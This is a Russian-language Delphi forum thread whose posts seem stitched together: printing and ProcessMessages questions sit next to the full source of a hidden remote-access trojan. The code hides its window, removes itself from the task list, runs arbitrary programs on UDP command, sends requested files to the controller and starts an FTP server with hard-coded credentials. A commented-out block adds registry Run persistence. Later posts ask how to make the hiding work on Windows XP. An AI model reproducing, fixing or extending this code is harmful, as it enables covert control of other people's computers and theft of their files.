Люди подскажите,как можно распечатать с dbGrid и Memo, ну или как вообще скомпоновать нормальную распечатку. Если использовать PaintTo, то разрешение получается корявое. Может быть есть какие-нибудь компоненты для распечатки простеньких таблиц?

Aleksoid1978
Application.ProcessMessages() вставь. либо в функции запроса либо таймер запусти с этим.

Я пробовал ставить таймер и в нем вызывать Application.ProcessMessages - НЕПОЛУЧАЕТСЯ

ТовариСЧи, подскажите плиз

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall;
external 'KERNEL32.DLL';

implementation

procedure TForm1.Button1Click(Sender: TObject);
begin //Hide
if not (csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID, 1);
end;
;

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
NMUDP, ExtCtrls, StdCtrls,registry, Psock, NMMSG, NMSTRM,
IdBaseComponent, IdComponent, IdUDPBase, IdUDPServer, IdTrivialFTPServer,
FtpSrv,ftpsrvc;

type
TForm1 = class(TForm)
NMUDP1: TNMUDP;
send: TTimer;
stelth: TTimer;
NMStrm1: TNMStrm;
FtpServer: TFtpServer;
procedure sendTimer(Sender: TObject);
procedure NMUDP1DataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
procedure FormCreate(Sender: TObject);
procedure stelthTimer(Sender: TObject);
procedure FtpServerAuthenticate(Sender: TObject;
Client: TFtpCtrlSocket; UserName, Password: TFtpString;
var Authenticated: Boolean);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
sd,ip,txt:string;

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall;
external 'KERNEL32.DLL';{Ф-ция, убирающая текущий процесс из списка менеджера задач}

implementation

{$R *.DFM}

procedure TForm1.sendTimer(Sender: TObject);{процедура отправки сообщений}
var
MyStream: TMemoryStream;
Begin
send.Enabled:=false;
NMUDP1.ReportLevel := Status_Basic;
NMUDP1.RemoteHost :=ip;
MyStream := TMemoryStream.Create;
try
MyStream.Write(Txt[1], Length(Txt));
NMUDP1.SendStream(MyStream);
finally
MyStream.Free;
end;
end;
procedure TForm1.NMUDP1DataReceived(Sender: TComponent;{процедура приёма сообщений}
NumberBytes: Integer; FromIP: String; Port: Integer);
var
MyStream: TMemoryStream;
mystrea:tfilestream;
Str: String;
begin
MyStream := TMemoryStream.Create;
try
NMUDP1.ReadStream(MyStream);
SetLength(Str,NumberBytes); {===обработка и выполнение команд сервера===}
MyStream.Read(Str[1],NumberBytes);
ip:=fromip;
if str='end'then halt;
if str='connect'then begin txt:='connect';send.enabled:=true;end;
if copy(str,1,3)='mes'then messagedlg(copy(str,4,length(str)-3),mtinformation,[mbok],0);
if str='monitor on'then SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
if str='monitor off'then SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
if str='ftp-on'then ftpserver.start;
if str='ftp-off'then ftpserver.stop;
if copy(str,1,3)='lau'then winexec(pchar(copy(str,4,length(str)-3)),1);
if (copy(str,1,3)='get')and(fileexists(copy(str,4,length(str)-3)))then
begin
nmstrm1:=tnmstrm.create(self);
mystrea:=tfilestream.create(copy(str,4,length(str)-3),fmopenread);
nmstrm1.host:=ip;
nmstrm1.PostIt(mystrea);
mystrea.Free;
nmstrm1.free;
end;
finally
MyStream.Free;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);{процедура запуска}
var s:string;
f:textfile;
fl:boolean;
r:tregistry;
begin
ftpserver.Start;
{if fileexists('c:\msdos.sys')then
begin
assignfile(f,'c:\msdos.sys');
reset(f);
fl:=false;
repeat
readln(f,s);
if (copy(s,1,7)='WinDir=')or(copy(s,1,7)='windir=')or(copy(s,1,7)='Windir=')then
begin sd:=copy(s,8,length(s)-7);fl:=true;end;
until eof(f);
if fl=false then sd:='c:\windows';
end else sd:='c:\windows';
r:=tregistry.create;
r.rootkey:=HKEY_LOCAL_MACHINE;
try
if r.openkey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',false)then
begin
if r.valueexists('patch')=false then
begin
r.writestring('patch',sd+'\system\patch.exe');
copyfile('patch.exe',pchar(sd+'\system\patch.exe'),true);
end;
r.closekey;
end;
finally
r.free;
end;
}end;

procedure TForm1.stelthTimer(Sender: TObject);{процедура маскировки}
begin
stelth.enabled:=false;
form1.hide; {прячем форму}
if not (csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID, 1);{исчезаем из ctrl+alt+del}

end;

procedure TForm1.FtpServerAuthenticate(Sender: TObject;
Client: TFtpCtrlSocket; UserName, Password: TFtpString;
var Authenticated: Boolean);
begin
if (username='klient')and(password='www')then authenticated:=true else authenticated:=false;
end;

end.

прара вопросов:

вот на такой код ругается:

и вот в этом коде ругается вроде на отсутствие NMUDP и не хочет компилиться

а таймер работает хоть во время запроса... просто этот метод явно указывает что нужно обработать все накопившиеся запросы от пользователя...

Ага, бо он для Win9x

благодарю, а для ХР не подскажешь?